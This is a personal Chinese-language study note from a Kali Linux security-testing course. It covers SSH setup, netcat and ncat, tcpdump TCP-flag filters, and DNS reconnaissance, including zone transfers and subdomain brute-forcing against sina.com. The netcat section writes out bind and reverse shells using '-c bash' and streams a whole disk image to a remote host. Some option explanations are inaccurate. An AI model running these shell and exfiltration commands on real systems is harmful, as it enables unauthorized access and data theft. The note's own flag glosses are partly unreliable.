
虽然之前做过一些web安全测试相关的工作,但大都是像Nessus之类的安全扫描工具的使用,在手工发掘漏洞这块能力比较欠缺,另外像wireshark、burpsuite等工具仅仅学习了最基础的抓包和代理的用法,对于burpsuite的一些第三方插件也接触比较少,于是想要系统的学习一下网络安全测试这块,在52pj上找到了苑房宏的《Kali Linux安全测试》177讲,不过教程是2015年的了,课程中讲到的一些工具有的已经停止维护,有的版本更新之后使用命令发生了改变,所以在这篇笔记中记录一下,方便自己后续的使用。
kali基础配置
开启SSH登录
- 编辑ssh文件,取消
PermitRootLogin
和PasswordAuthentication
的注释,并改为yes
; - 重启SSH服务,
/etc/init.d/ssh restart
或者service ssh restart
重启,/etc/init.d/ssh status
或者service ssh status
查看状态是否正常运行 - 开启ssh服务开机自启动,查看开启状态,
update-rc.d ssh enable
或者systemctl enable ssh
开机自启动vi /etc/ssh/sshd_config #vi模式下输入'/关键词'回车进行搜索,按n查找下一个 service ssh restart update-rc.d ssh enable
kali工具
nc&ncat
-
传输文本信息
主机A:nc -l -p 4444
开启一个监听服务,端口4444
主机B:nc –nv 1.1.1.1 4444
连接主机A的4444端口 -
传输⽂件
A:nc -lp 333 > 1.mp4
B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1
-q:传输完成1s后断开连接
或者
A:nc -q 1 -lp 333 < a.mp4
B:nc -nv 1.1.1.1 333 > 2.mp4
nc工具本身不支持加密连接,如果需要加密传输,可以先把要传输的内容通过mcrypt
加密再明文传输
A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
- mcrypt: 调用mcrypt加密工具
- flush: 清除加密工具的内部状态
- Fbqd: 设置特定的选项,包括使用文件输入和输出、启用调试模式以及启用详细输出
- a rijndael-256: 使用Rijndael-256算法进行加密
- m ecb: 使用ECB模式进行加密,ECB是一种基本的加密模式,不适合处理大量数据
-
流媒体服务
A:cat 1.mp4 | nc -lp 333
将mp4文件cat出来通过管道传入nc
B:1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
主机B需要使用支持命令模式的播放器比如mplayer- mplayer: 调用MPlayer媒体播放器
- vo x11: 指定视频输出设备为X11(X Window System),即在X窗口系统中播放视频
- cache 3000: 设置缓存大小为3000 KB,这可以帮助减少视频播放时的卡顿和延迟
- -: 表示要播放的视频文件是通过标准输入传输的,而不是通过文件名指定的
-
端口扫描
nc -nvz 1.1.1.1 1-65535
- -nvz: 设置netcat为静默模式(不显示任何输出)、启用数字格式(显示IP地址和端口号)、以及使用zero I/O模式(仅扫描端口,不发送任何数据)
nc –vnzu 1.1.1.1 1-1024
- -u: 使用UDP协议
-
远程克隆硬盘
A:nc -lp 333 | dd of=/dev/sda
B:dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
- dd: 是一个用于数据转换和复制的命令行工具
- if=/dev/sda: 指定输入文件(input file)为/dev/sda,即源磁盘/dev/sda
- of=/dev/sdb: 指定输出文件(output file)为/dev/sdb,即目标磁盘/dev/sdb
- 将B主机的/dev/sda克隆出来通过nc传到A主机的/dev/sda
-
远程控制
A:nc -lp 333 -c bash
-c bash: 指定nc接受连接后要执行的命令,这里是执行bash命令(即启动一个bash shell)
B:nc 1.1.1.1 333
或者
A:nc -lp 333
B:nc 1.1.1.1 333 -c bash
指定连接后要执行的命令,即bash shell -
ncat
A:ncat -c bash --allow 192.168.123.100 -vnl 333 --ssl
- -c bash: 在连接建立后,执行 bash 命令(即启动一个交互式的 Bash Shell)。
- --allow 192.168.123.100: 限制连接的来源 IP 地址为 192.168.123.100。只有来自该 IP 地址的连接才会被接受。
- -vnl 333: 监听本地端口 333,等待连接。
- --ssl: 使用 SSL/TLS 加密来保护连接。
B:
ncat -nv 192.168.123.157 333 --ssl
- -nv: 使用详细输出模式,显示更多连接信息。
- 192.168.123.157: 要连接的目标 IP 地址。
- 333: 目标主机上要连接的端口。
- --ssl: 使用 SSL/TLS 加密来保护连接。
wireshark&tcpdump
wireshark的示例cap包
三次握手:
- 客户端发送一个SYN数据包给服务器,表示请求建立连接。
- 服务器收到SYN数据包后,回复一个SYN+ACK数据包给客户端,表示同意建立连接。
- 客户端再发送一个ACK数据包给服务器,表示连接建立成功。
- 这样就完成了TCP的三次握手过程,连接建立成功。
四次挥手,用于终止连接。
- 客户端发送一个FIN数据包给服务器,表示要关闭连接。
- 服务器收到FIN数据包后,回复一个ACK数据包给客户端,表示收到关闭请求。
- 服务器再发送一个FIN数据包给客户端,表示自己也要关闭连接。
- 客户端收到FIN数据包后,回复一个ACK数据包给服务器,表示同意关闭连接。
tcpdump -A -n 'tcp[13] = 24' -r http.cap
使用tcpdump读取数据包 - -A: 这个选项告诉tcpdump以ASCII格式显示数据包的内容,而不是以十六进制格式显示。
- -n: 这个选项告诉tcpdump不要将网络地址和端口转换为主机名和服务名,而是以数字形式显示。
- 'tcp[13] = 24': 这部分是过滤器,用于指定要捕获的数据包的条件。在这里,tcp[13] = 24表示过滤出TCP标志字段的第13个字节(即第一个字节为0)的值为24的数据包。在TCP标志字段中,24表示SYN和ACK标志同时被设置,这通常代表一个TCP连接的建立阶段。
在TCP标志字段中,第13个字节(从0开始计数)通常用来表示TCP头部中的标志位。TCP头部的标志位共有6个,它们分别是:
- URG(紧急指针):用来指示紧急数据。
- ACK(确认):用来确认收到的数据。
- PSH(推送):用来指示接收方尽快将数据交给应用层。
- RST(复位):用来强制关闭连接。
- SYN(同步):用来建立连接。
- FIN(结束):用来释放连接。
这些标志位被存储在TCP头部的第13个字节中,每个标志位占1个比特位。通过设置或清除这些标志位,TCP控制连接的建立、终止和数据传输过程。
CWR(Congestion Window Reduced)和ECE(Explicit Congestion Notification Echo)是TCP头部中的两个额外的标志位,用于传输控制和拥塞控制。
- CWR(Congestion Window Reduced):CWR标志位用于指示发送方已经收到了一个带有拥塞通知(Congestion Notification)的数据包,并已经减小了发送窗口(Congestion Window)。这个标志位通常在TCP连接中用于拥塞控制。
- ECE(Explicit Congestion Notification Echo):ECE标志位用于指示接收方收到了来自网络的拥塞通知。当路由器或网络设备检测到网络拥塞时,会向数据包中添加拥塞通知,接收方收到带有ECE标志位的数据包后,会通知发送方网络出现了拥塞。这有助于发送方调整发送速率以减轻网络拥塞。
这两个标志位通常在TCP连接中用于拥塞控制和网络拥塞的处理,帮助TCP协议更有效地适应网络状况并提高网络性能。
DNS信息收集
nslookup,dig和host都是用于进行DNS查询的命令行工具,用于查找域名对应的IP地址或反向查找IP地址对应的域名
nslookup www.sina.com
查询域名www.sina.com对应的IP地址和其他相关信息。
nslookup -type=ns example.com 156.154.70.22
指定的域名服务器(156.154.70.22)查询域名example.com的NS记录(Name Server记录)。
dig @8.8.8.8 www.sina.com mx
指定要查询的DNS服务器(8.8.8.8),查询域名www.sina.com的MX记录(Mail Exchange记录)。
dig www.sina.com any
查询域名www.sina.com的所有记录类型(包括A、MX、NS等)。
dig +noall +answer -x 8.8.8.8
进行反向查询,通过IP地址(8.8.8.8)查找对应的域名。
dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com
查询指定DNS服务器(ns3.dnsv4.com)的BIND版本信息。(通常会被拒绝)
dig +trace example.com
执行DNS追踪,显示从根域名服务器到最终目标域名的DNS查询路径。
dig @ns1.example.com example.com axfr
在指定的域名服务器(ns1.example.com)上执行区域传送(AXFR),获取域名example.com的完整DNS记录。(通常会被拒绝)
host -T -l sina.com 8.8.8.8
在指定的DNS服务器(8.8.8.8)上执行枚举(枚举所有记录)查询,列出sina.com域名的所有记录。
DNS字典爆破
由于通过区域传送(AXFR)获取域名下的完整DNS记录通常会被拒绝,攻击者会使用DNS字典爆破来探测目标域名下的子域名。通过使用一个包含大量可能的子域名列表的字典文件,尝试枚举目标域名的所有可能子域名,以便发现隐藏在其后的资源或服务。常用工具,如"fierce"、"sublist3r"等,指定一个字典文件(包含可能的子域名列表)并指定目标域名,然后工具将自动尝试查询每个子域名的DNS记录,以确定哪些子域名是有效的。
fierce等工具安装后都会自带一些字典文件,使用dpkg -L fierce
来列出相关文件查找字典文件的路径
fierce --dns-servers 223.5.5.5 --domain sina.com.cn --subdomain-file /usr/lib/python3/dist-packages/fierce/lists/5000.txt
- --dns-servers 223.5.5.5: 这个参数指定了要使用的DNS服务器的IP地址,这里是223.5.5.5。
- --domain sina.com.cn: 这个参数指定了目标域名,即要进行字典爆破的域名是sina.com.cn。
- --subdomain-file /usr/lib/python3/dist-packages/fierce/lists/5000.txt: 这个参数指定了包含要用于字典爆破的子域名列表的文件路径,这里是/usr/lib/python3/dist-packages/fierce/lists/5000.txt。
atk6-dnsdict6 -d4 -t 16 -x sina.com
atk6-dnsdict6速度更快
- -d4 表示使用 IPv4 进行查询
- -t 16 表示设置 DNS 查询的超时时间为 16 毫秒
- -x 则表示使用递归查询。
其他类似工具
dnsenum
dnsmap
dnsrecon